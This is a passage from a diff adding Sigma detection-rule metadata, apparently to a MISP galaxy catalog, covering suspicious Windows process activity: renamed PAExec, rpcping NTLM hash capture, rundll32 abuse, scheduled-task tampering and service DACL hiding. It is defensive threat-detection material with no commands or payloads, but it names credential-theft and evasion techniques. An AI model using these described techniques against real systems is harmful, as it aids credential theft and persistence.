+ ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/05/22", + "filename": "proc_creation_win_susp_renamed_paexec.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Weird admins that rename their tools", + "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", + "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", + "uuid": "93671f99-04eb-4ab4-a161-70d446a84003", + "value": "Capture Credentials with Rpcping.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", + "https://twitter.com/vysecurity/status/974806438316072960", + "https://twitter.com/vysecurity/status/873181705024266241", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_susp_rpcping.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on arguments", + "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9", + "value": "Suspicious Rundll32 Activity", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", + "https://twitter.com/Hexacorn/status/885258886428725250", + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://twitter.com/nas_bench/status/1433344116071583746", + "https://twitter.com/eral4m/status/1479106975967240209", + "https://twitter.com/eral4m/status/1479080793003671557", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_rundll32_activity.yml", + "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", + "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c", + "value": "Suspicious Call by Ordinal", + "meta": { + "refs": [ + "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", + "https://github.com/Neo23x0/DLLRunner", + "https://twitter.com/cyb3rops/status/1186631731543236608", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_susp_rundll32_by_ordinal.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment", + "Windows control panel elements have been identified as source (mmc)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", + "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd", + "value": "Suspicious Rundll32 Invoking Inline VBScript", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2021/03/05", + "filename": "proc_creation_win_susp_rundll32_inline_vbs.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", + "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3", + "value": "Rundll32 JS RunHTMLApplication Pattern", + "meta": { + "refs": [ + "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_js_runhtmlapplication.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/01/14", + "filename": "proc_creation_win_susp_rundll32_js_runhtmlapplication.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", + "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c", + "value": "Suspicious Key Manager Access", + "meta": { + "refs": [ + "https://twitter.com/NinjaParanoid/status/1516442028963659777", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_keymgr.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/04/21", + "filename": "proc_creation_win_susp_rundll32_keymgr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", + "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a", + "value": "Suspicious Rundll32 Without Any CommandLine Params", + "meta": { + "refs": [ + "https://www.cobaltstrike.com/help-opsec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/05/27", + "filename": "proc_creation_win_susp_rundll32_no_params.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Possible but rare" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on arguments", + "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7", + "value": "Suspicious Rundll32 Script in CommandLine", + "meta": { + "refs": [ + "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.011/T1218.011.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_script_run.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/12/04", + "filename": "proc_creation_win_susp_rundll32_script_run.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", + "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", + "value": "Suspicious Rundll32 Setupapi.dll Activity", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", + "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", + "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", + "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", + "author": "Konstantin Grishchenko, oscd.community", + "level": "medium", + "falsepositive": [ + "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", + "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", + "value": "RunDLL32 Spawning Explorer", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_spawn_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2022/04/27", + "filename": "proc_creation_win_susp_rundll32_spawn_explorer.yml", + "author": "elhoim, CD_ROM_", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", + "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea", + "value": "Suspicious Rundll32 Activity Invoking Sys File", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/03/05", + "filename": "proc_creation_win_susp_rundll32_sys.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", + "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", + "value": "Suspicious Workstation Locking via Rundll32", + "meta": { + "refs": [ + "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_user32_dll.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/06/04", + "filename": "proc_creation_win_susp_rundll32_user32_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects the execution of Run Once task as configured in the registry", + "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c", + "value": "Run Once Task Execution as Configured in Registry", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_susp_runonce_execution.yml", + "author": "Avneet Singh @v3t0_, oscd.community", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of powershell scripts via Runscripthelper.exe", + "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03", + "value": "Suspicious Runscripthelper.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runscripthelper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_susp_runscripthelper.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process run from unusual locations", + "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b", + "value": "Suspicious Process Start Locations", + "meta": { + "refs": [ + "https://car.mitre.org/wiki/CAR-2013-05-002", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_run_locations.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "car.2013-05-002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_run_locations.yml", + "author": "juju4, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Remote Utilities RAT (RURAT) from an unsual location (outisde of 'C:\\Program Files')", + "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", + "value": "Execution of Remote Utilities RAT (RURAT) From Unusual Location", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_susp_rurat_exec_location.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", + "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b", + "value": "Suspicious Modification Of Scheduled Tasks", + "meta": { + "refs": [ + "Internal Research", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/07/28", + "filename": "proc_creation_win_susp_schtasks_change.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", + "uuid": "dbc1f800-0fe0-4bc0-9c66-292c2abe3f78", + "value": "Delete Important Scheduled Task", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_susp_schtasks_delete.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", + "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1", + "value": "Delete All Scheduled Tasks", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_susp_schtasks_delete_all.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", + "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", + "value": "Disable Important Scheduled Task", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_susp_schtasks_disable.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", + "uuid": "81325ce1-be01-4250-944f-b4789644556f", + "value": "Suspicious Schtasks From Env Var Folder", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", + "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/02/21", + "filename": "proc_creation_win_susp_schtasks_env_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Benign scheduled tasks creations or executions that happen often during software installations", + "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creations that have suspicious action command and folder combinations", + "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb", + "value": "Schtasks From Suspicious Folders", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/04/15", + "filename": "proc_creation_win_susp_schtasks_folder_combos.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", + "uuid": "9494479d-d994-40bf-a8b1-eea890237021", + "value": "Suspicious Add Scheduled Task Parent", + "meta": { + "refs": [ + "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_parent.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/02/23", + "filename": "proc_creation_win_susp_schtasks_parent.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Software installers that run from temporary folders and also install scheduled tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious scheduled task creations with commands that are uncommon", + "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad", + "value": "Suspicious Add Scheduled Command Pattern", + "meta": { + "refs": [ + "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/02/23", + "filename": "proc_creation_win_susp_schtasks_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software installers that run from temporary folders and also install scheduled tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creations or modification on a suspicious schedule type", + "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98", + "value": "Suspicious Schtasks Schedule Types", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_susp_schtasks_schedule_type.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitmate processes that run at logon. Filter according to your environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", + "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a", + "value": "Suspicious Schtasks Schedule Type With High Privileges", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2022/08/31", + "filename": "proc_creation_win_susp_schtasks_schedule_type_system.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some installers were seen using this method of creation unfortunately. Filter them in your environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "schtasks.exe create task from user AppData\\Local\\Temp", + "uuid": "43f487f0-755f-4c2a-bce7-d6d2eec2fcf8", + "value": "Suspicious Add Scheduled Task From User AppData Temp", + "meta": { + "refs": [ + "malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_user_temp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ], + "creation_date": "2021/11/03", + "filename": "proc_creation_win_susp_schtasks_user_temp.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of scheduled tasks in user session", + "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189", + "value": "Scheduled Task Creation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.005", + "attack.s0111", + "car.2013-08-001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_schtask_creation.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative activity", + "Software installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", + "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5", + "value": "Suspicious Scheduled Task Creation Involving Temp Folder", + "meta": { + "refs": [ + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation_temp_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2021/03/11", + "filename": "proc_creation_win_susp_schtask_creation_temp_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity", + "Software installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", + "uuid": "75bfe6e6-cd8e-429e-91d3-03921e1d7962", + "value": "ScreenConnect Remote Access", + "meta": { + "refs": [ + "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2021/02/11", + "filename": "proc_creation_win_susp_screenconnect_access.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use by administrative staff" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", + "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f", + "value": "Suspicious ScreenSave Change by Reg.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.002" + ], + "creation_date": "2021/08/19", + "filename": "proc_creation_win_susp_screensaver_reg.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "GPO" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file execution by wscript and cscript", + "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288", + "value": "WSF/JSE/JS/VBA/VBE File Execution", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_script_execution.yml", + "author": "Michael Haag", + "level": "medium", + "falsepositive": [ + "Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", + "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba", + "value": "Script Interpreter Execution From Suspicious Folder", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/02/08", + "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious script executions from temporary folder", + "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33", + "value": "Suspicious Script Execution From Temp Folder", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_script_exec_from_temp.yml", + "author": "Florian Roth, Max Altgelt, Tim Shelton", + "level": "high", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", + "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37", + "value": "Suspicious Service DACL Modification", + "meta": { + "refs": [ + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003" + ], + "creation_date": "2020/10/16", + "filename": "proc_creation_win_susp_service_dacl_modification.yml", + "author": "Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", + "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", + "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet", + "meta": { + "refs": [ + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003" + ], + "creation_date": "2022/10/18", + "filename": "proc_creation_win_susp_service_dacl_modification_set_service.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service binary running in a suspicious directory", + "uuid": "883faa95-175a-4e22-8181-e5761aeb373c", + "value": "Suspicious Service Binary Directory", + "meta": { + "refs": [ + 